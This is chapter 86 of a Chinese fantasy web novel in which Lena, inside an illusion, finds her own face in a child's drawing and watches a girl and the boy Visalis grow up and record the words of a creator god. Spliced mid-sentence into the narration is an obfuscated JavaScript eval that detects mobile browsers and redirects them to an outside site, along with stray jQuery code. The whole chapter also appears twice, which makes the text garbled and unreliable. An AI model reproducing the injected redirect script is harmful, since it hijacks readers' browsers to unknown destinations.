浮鱼困荒 作品
86. Chapter 86
怎么会这样呢？
这个时代——到底是哪个时代？是这个大陆上历史过往的哪个时代？
为何会出现她的面孔？
蕾娜怔然地站在原地，手中的信纸随着她心中的惊悸而微微颤了一下。
实在难以说明这种事情是如何发生的。
蕾娜更希望是自己方才的记忆里出现了差错，是她的大脑自动将方才所见到的平面小女孩加上了自己的五官。
——可，手中的信页却不会说谎。
这用蜡笔图画上去的两个小人，依旧灿烂的笑着，互相挨着，不知是因为什么事情而让他们如此开心。
那女孩的五官，在蕾娜的视野中越来越清晰，直到方才一瞬而想起的记忆再次清晰的浮现在了她的脑海里，如钟撞击铃铛般，将蕾娜的心脏跳动一次次的变得更为明显。
几乎是要跳脱出胸膛。
“……”
蕾娜忽感自己有些头晕。
不知是这个幻境的问题，还是因为那个女孩的问题。
这莫名涌现出来的记忆画面让蕾娜本平复下来的心情变得杂乱，无数条思绪纠缠在她的心中，让她理不清也分不出，到底哪头才直白的指向正确的答案。
难懂。
蕾娜将手中的信页收回到了信封中，物归原主。
把方才翻的有些散乱的桌面重新恢复到整洁的状态后，她微微转过头，将目光落向了方才小男孩所坐得那又圆又矮的软皮沙发上。
这沙发是用动物的毛皮做的，从外观来看就能觉得人坐下去就会被周边的松软所包裹，不会发出任何的噪音。
因此，方才那个男孩坐在里边的时候，从她来到这个幻境所起身的角度来看，沙发正好被窗帘和书桌挡住了。
而男孩所在沙发上发出的声响被这些松软的棕色毛皮所遮盖住，她也就没有发现这名男孩的存在。
一切都是这么的巧合。
不过这沙发上边空空如也，那男孩的装着上也不像是能放什么东西的，如同寻常人家的小孩找自己的朋友，去朋友家玩那般。
这男孩进女孩房间的时候，身上应当没有带什么东西，更别说是可以证明自己身份的东西了。
蕾娜微微叹息，将目光收了回来，重新将自己所处的房间打量了一番。
这房间的主人现在是确定了，就是不知道这幻境的主人是否和这房间的主人一致，又或是说，这幻境的主人还可能是出现在这个房间里的另外一个人——
比如，那个男孩。
不过眼下没有什么线索可以证明这个幻境的主人是这俩小孩之中的其中一个，蕾娜只能依靠着方才的所见所闻将这两名小孩是幻境主人的几率增加得更高了些。
房间了已经没有什么可以翻找的东西了。
方才躲在门后时，听到女孩所说过的话再次浮现在了蕾娜的脑海里。
【正午的太阳很快就要落山了。】
“……”
蕾娜回想着这句话的意思，随即抬眼看向了这房间上所挂着的时钟。
时钟样式古旧，和她所处的时代确实并非一个时代。
但在蕾娜所生活的时代里，这种样式的时钟倒不是完全的消失在历史的长河之中。
她还是在一些古玩店里见到这种样式的时钟。
或许，这个时钟倒是可以成为她判断这个地方所处时期的一个突破口。
蕾娜抬头盯着这个时钟，随即又收回了视线，转头看了眼窗外。
如女孩所说，方才还阳光明媚的天空现在已经被乌云所遮掩，而那璀璨的太阳也有着向下落的趋势。
凭借着直觉和女孩的话，蕾娜感觉当这太阳完全下落时，这房间可能会多出什么她不想碰到的东西。
总而言之，没有光亮的地方，会暗藏着危险。
一直停留在这里也获取不到新的线索，还是继续朝前走吧。
如果这个幻境是想要告诉她什么，或是在她面前播放什么的话，那这浓厚的雾气后，肯定还有着什么未给她播放的过往内容。
—
在蕾娜踏出房门后，女孩的房间即便变成了空茫的黑洞。
蕾娜平静地收回了视线。
已经是去过好几次幻境的她，对于这种景象的出现已经是见怪不怪了。
这个幻境似有着它自己的规则，比起她先前所去的其他幻境里，这幻境里有着无形的限制。
蕾娜目前只能略微摸索出这幻境里的一点儿规矩。
不过这点儿规矩，已经足够她规避危险了。
面前的浓雾随着蕾娜坦然往前走的动作而渐渐朝两旁退散，很快，蕾娜的视野中即便出现了一间白色的房屋。
通体的白，从远处看，似要和冬季的雪相融。
两个孩子的身影再次出现在了蕾娜的视线中。
那名女孩——不，这个时期里，女孩已经成长成为了一名少女，而那位男孩也变成了少年。
少年黑色的短发在这冬日的阳光中显得分外的显眼，蕾娜一眼就落到了他的面庞上。
……
他的五官，一如既往的普通。
普通到蕾娜一移开眼就会忘记，但在见到这男孩的时候，又会不由自主的浮现出“这个人就是那个男孩”的奇妙直觉。
心中隐隐有了一种想法，蕾娜反复咀嚼着“维萨利斯”的名字，一边将视线落到了前边的少女身上。
少女手中捧着雪球，正往那白色屋子的窗户那儿砸去，她身后跟着的少年手中拿着一本厚厚的书。
此刻少年正安安静静地站在雪地旁，等着少女将地面上的雪拍到木屋上，又转头朝少年笑着，伸出手要他手中的那本书。
“我要记录下这个大陆上——第一次出现的景色。”
“让我想想，艾瑟希是怎么说的呢？”
“我觉得，她会把这幅景象称为雪景。”
“维萨利斯，你来画画吧，把这一片雪景全部画下来，记载在这本书上。”
少女神采飞扬，虽然蕾娜的目光被天上灼烈刺目的阳光反射所遮挡，看不清她的五官，但通过少女的笑声，她能感觉到此刻的少女心情是分外舒畅。
像是方才大闹了一场，此刻获得了片刻的闲暇歇息，正停下来，和旁边喜欢的少年交谈。
……
好奇怪。
蕾娜的双目空了一下，她抬起手捂住了自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327433|170022||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的额头，让阴影遮挡住自己的双眼，掩盖住她眼眸中的疑问。
为什么她能感觉到，又或是说，能知晓这名少女喜欢维萨利斯呢？
是这之间有什么她目前还不知晓的缘故？
下意识的，蕾娜抬手将自己的耳朵遮盖住。却恍惚回过神——在这片幻境里，似能把她逼疯的刺耳嗡鸣声已经消声殆尽了。
耳边所传来的，只有雪原上冷冽的呼啸声。
这片片的雪掠过蕾娜的裙摆，将她的衣裳染上了点点的白。
蕾娜垂眼看着自己被漂泊不定的雪所沾染，感受着自己能够抵御这股严寒的暖意，再次抬眼看向前方的少年少女。
此时，两个人已经进了屋里。
—
燃烧的木柴噼啪作响，蕾娜缓缓走到窗户边，透过透明地窗户往里看，不经意间，又和窗户里所映照出来的自己对视。
“……”
该说是毫不意外，又或是，这情景的发展是在她的预料之内呢？
蕾娜神色平静地抬手抚摸着窗户，因为不属于这个时代的人，她感受不到周边的各种气味。
她只是一个路过这个时代的行者。
但窗户里所映照出来的行者，却和屋里的少女，有着同样的面庞。
就像是成长之后的自己，站在这大雪皑皑的山上，透过木屋，朝青春时期的自己看去。
去回望，回想这些时光里，自己是如何一步、一步变成现在这个样子的。
即便这个时代里的人，并不真正的属于蕾娜自己。
—
燃烧的火焰照亮了屋里少年少女的面庞，外界灼白的光线透不过这薄薄的玻璃窗。
房屋的里边和外界仿佛是两个世界。
蕾娜所站之处光明万丈，而他们所处的房屋情景，却像是在冬季寒冷的夜晚，围炉团坐。
少女从桌上抬起头，将笔杆扫了扫维萨利斯的手背。
“你看这样呢？这个记录不错吧？”
维萨利斯转过头，看向少女手中递向他的书本。
不知是有意还是无意，他抬眼扫过了窗户，换来少女疑惑的歪头：“怎么了？屋外有什么人吗？”
“……不，并没有。”
维萨利斯温和地垂下眼，面庞看上去比往昔要来得柔和些，或许是炭火在旁边灼烧散发出暖意的缘故。
“我将艾瑟希创世神所说的话全部记下来啦！真没想到我是这个世界上第一个‘纯血血脉’呢！能直白的倾听到这个大陆上创世神的心声！”
“嗯。”维萨利斯收回了看向书本的视线，“她对你如何？”
“对我如何？很好呀。”少女歪了歪头，有些茫然，“不过，最近我们的日子或许不能这么清闲了。”
维萨利斯没有说话。
少女与他对视，接着将笔在桌子上点了点，若有所思道：
“艾瑟希说，我们要在这个时空里，给后人留下时间的锚点。”
“这是最不容刻缓的。”
维萨利斯没有询问原因，在他看来，艾瑟希所做的选择并未超出他的所料，只是平淡地点了点头：
“我知道了，所以你打算怎么做？”
这个时代——到底是哪个时代？是这个大陆上历史过往的哪个时代？
为何会出现她的面孔？
蕾娜怔然地站在原地，手中的信纸随着她心中的惊悸而微微颤了一下。
实在难以说明这种事情是如何发生的。
蕾娜更希望是自己方才的记忆里出现了差错，是她的大脑自动将方才所见到的平面小女孩加上了自己的五官。
——可，手中的信页却不会说谎。
这用蜡笔图画上去的两个小人，依旧灿烂的笑着，互相挨着，不知是因为什么事情而让他们如此开心。
那女孩的五官，在蕾娜的视野中越来越清晰，直到方才一瞬而想起的记忆再次清晰的浮现在了她的脑海里，如钟撞击铃铛般，将蕾娜的心脏跳动一次次的变得更为明显。
几乎是要跳脱出胸膛。
“……”
蕾娜忽感自己有些头晕。
不知是这个幻境的问题，还是因为那个女孩的问题。
这莫名涌现出来的记忆画面让蕾娜本平复下来的心情变得杂乱，无数条思绪纠缠在她的心中，让她理不清也分不出，到底哪头才直白的指向正确的答案。
难懂。
蕾娜将手中的信页收回到了信封中，物归原主。
把方才翻的有些散乱的桌面重新恢复到整洁的状态后，她微微转过头，将目光落向了方才小男孩所坐得那又圆又矮的软皮沙发上。
这沙发是用动物的毛皮做的，从外观来看就能觉得人坐下去就会被周边的松软所包裹，不会发出任何的噪音。
因此，方才那个男孩坐在里边的时候，从她来到这个幻境所起身的角度来看，沙发正好被窗帘和书桌挡住了。
而男孩所在沙发上发出的声响被这些松软的棕色毛皮所遮盖住，她也就没有发现这名男孩的存在。
一切都是这么的巧合。
不过这沙发上边空空如也，那男孩的装着上也不像是能放什么东西的，如同寻常人家的小孩找自己的朋友，去朋友家玩那般。
这男孩进女孩房间的时候，身上应当没有带什么东西，更别说是可以证明自己身份的东西了。
蕾娜微微叹息，将目光收了回来，重新将自己所处的房间打量了一番。
这房间的主人现在是确定了，就是不知道这幻境的主人是否和这房间的主人一致，又或是说，这幻境的主人还可能是出现在这个房间里的另外一个人——
比如，那个男孩。
不过眼下没有什么线索可以证明这个幻境的主人是这俩小孩之中的其中一个，蕾娜只能依靠着方才的所见所闻将这两名小孩是幻境主人的几率增加得更高了些。
房间了已经没有什么可以翻找的东西了。
方才躲在门后时，听到女孩所说过的话再次浮现在了蕾娜的脑海里。
【正午的太阳很快就要落山了。】
“……”
蕾娜回想着这句话的意思，随即抬眼看向了这房间上所挂着的时钟。
时钟样式古旧，和她所处的时代确实并非一个时代。
但在蕾娜所生活的时代里，这种样式的时钟倒不是完全的消失在历史的长河之中。
她还是在一些古玩店里见到这种样式的时钟。
或许，这个时钟倒是可以成为她判断这个地方所处时期的一个突破口。
蕾娜抬头盯着这个时钟，随即又收回了视线，转头看了眼窗外。
如女孩所说，方才还阳光明媚的天空现在已经被乌云所遮掩，而那璀璨的太阳也有着向下落的趋势。
凭借着直觉和女孩的话，蕾娜感觉当这太阳完全下落时，这房间可能会多出什么她不想碰到的东西。
总而言之，没有光亮的地方，会暗藏着危险。
一直停留在这里也获取不到新的线索，还是继续朝前走吧。
如果这个幻境是想要告诉她什么，或是在她面前播放什么的话，那这浓厚的雾气后，肯定还有着什么未给她播放的过往内容。
—
在蕾娜踏出房门后，女孩的房间即便变成了空茫的黑洞。
蕾娜平静地收回了视线。
已经是去过好几次幻境的她，对于这种景象的出现已经是见怪不怪了。
这个幻境似有着它自己的规则，比起她先前所去的其他幻境里，这幻境里有着无形的限制。
蕾娜目前只能略微摸索出这幻境里的一点儿规矩。
不过这点儿规矩，已经足够她规避危险了。
面前的浓雾随着蕾娜坦然往前走的动作而渐渐朝两旁退散，很快，蕾娜的视野中即便出现了一间白色的房屋。
通体的白，从远处看，似要和冬季的雪相融。
两个孩子的身影再次出现在了蕾娜的视线中。
那名女孩——不，这个时期里，女孩已经成长成为了一名少女，而那位男孩也变成了少年。
少年黑色的短发在这冬日的阳光中显得分外的显眼，蕾娜一眼就落到了他的面庞上。
……
他的五官，一如既往的普通。
普通到蕾娜一移开眼就会忘记，但在见到这男孩的时候，又会不由自主的浮现出“这个人就是那个男孩”的奇妙直觉。
心中隐隐有了一种想法，蕾娜反复咀嚼着“维萨利斯”的名字，一边将视线落到了前边的少女身上。
少女手中捧着雪球，正往那白色屋子的窗户那儿砸去，她身后跟着的少年手中拿着一本厚厚的书。
此刻少年正安安静静地站在雪地旁，等着少女将地面上的雪拍到木屋上，又转头朝少年笑着，伸出手要他手中的那本书。
“我要记录下这个大陆上——第一次出现的景色。”
“让我想想，艾瑟希是怎么说的呢？”
“我觉得，她会把这幅景象称为雪景。”
“维萨利斯，你来画画吧，把这一片雪景全部画下来，记载在这本书上。”
少女神采飞扬，虽然蕾娜的目光被天上灼烈刺目的阳光反射所遮挡，看不清她的五官，但通过少女的笑声，她能感觉到此刻的少女心情是分外舒畅。
像是方才大闹了一场，此刻获得了片刻的闲暇歇息，正停下来，和旁边喜欢的少年交谈。
……
好奇怪。
蕾娜的双目空了一下，她抬起手捂住了自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327433|170022||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的额头，让阴影遮挡住自己的双眼，掩盖住她眼眸中的疑问。
为什么她能感觉到，又或是说，能知晓这名少女喜欢维萨利斯呢？
是这之间有什么她目前还不知晓的缘故？
下意识的，蕾娜抬手将自己的耳朵遮盖住。却恍惚回过神——在这片幻境里，似能把她逼疯的刺耳嗡鸣声已经消声殆尽了。
耳边所传来的，只有雪原上冷冽的呼啸声。
这片片的雪掠过蕾娜的裙摆，将她的衣裳染上了点点的白。
蕾娜垂眼看着自己被漂泊不定的雪所沾染，感受着自己能够抵御这股严寒的暖意，再次抬眼看向前方的少年少女。
此时，两个人已经进了屋里。
—
燃烧的木柴噼啪作响，蕾娜缓缓走到窗户边，透过透明地窗户往里看，不经意间，又和窗户里所映照出来的自己对视。
“……”
该说是毫不意外，又或是，这情景的发展是在她的预料之内呢？
蕾娜神色平静地抬手抚摸着窗户，因为不属于这个时代的人，她感受不到周边的各种气味。
她只是一个路过这个时代的行者。
但窗户里所映照出来的行者，却和屋里的少女，有着同样的面庞。
就像是成长之后的自己，站在这大雪皑皑的山上，透过木屋，朝青春时期的自己看去。
去回望，回想这些时光里，自己是如何一步、一步变成现在这个样子的。
即便这个时代里的人，并不真正的属于蕾娜自己。
—
燃烧的火焰照亮了屋里少年少女的面庞，外界灼白的光线透不过这薄薄的玻璃窗。
房屋的里边和外界仿佛是两个世界。
蕾娜所站之处光明万丈，而他们所处的房屋情景，却像是在冬季寒冷的夜晚，围炉团坐。
少女从桌上抬起头，将笔杆扫了扫维萨利斯的手背。
“你看这样呢？这个记录不错吧？”
维萨利斯转过头，看向少女手中递向他的书本。
不知是有意还是无意，他抬眼扫过了窗户，换来少女疑惑的歪头：“怎么了？屋外有什么人吗？”
“……不，并没有。”
维萨利斯温和地垂下眼，面庞看上去比往昔要来得柔和些，或许是炭火在旁边灼烧散发出暖意的缘故。
“我将艾瑟希创世神所说的话全部记下来啦！真没想到我是这个世界上第一个‘纯血血脉’呢！能直白的倾听到这个大陆上创世神的心声！”
“嗯。”维萨利斯收回了看向书本的视线，“她对你如何？”
“对我如何？很好呀。”少女歪了歪头，有些茫然，“不过，最近我们的日子或许不能这么清闲了。”
维萨利斯没有说话。
少女与他对视，接着将笔在桌子上点了点，若有所思道：
“艾瑟希说，我们要在这个时空里，给后人留下时间的锚点。”
“这是最不容刻缓的。”
维萨利斯没有询问原因，在他看来，艾瑟希所做的选择并未超出他的所料，只是平淡地点了点头：
“我知道了，所以你打算怎么做？”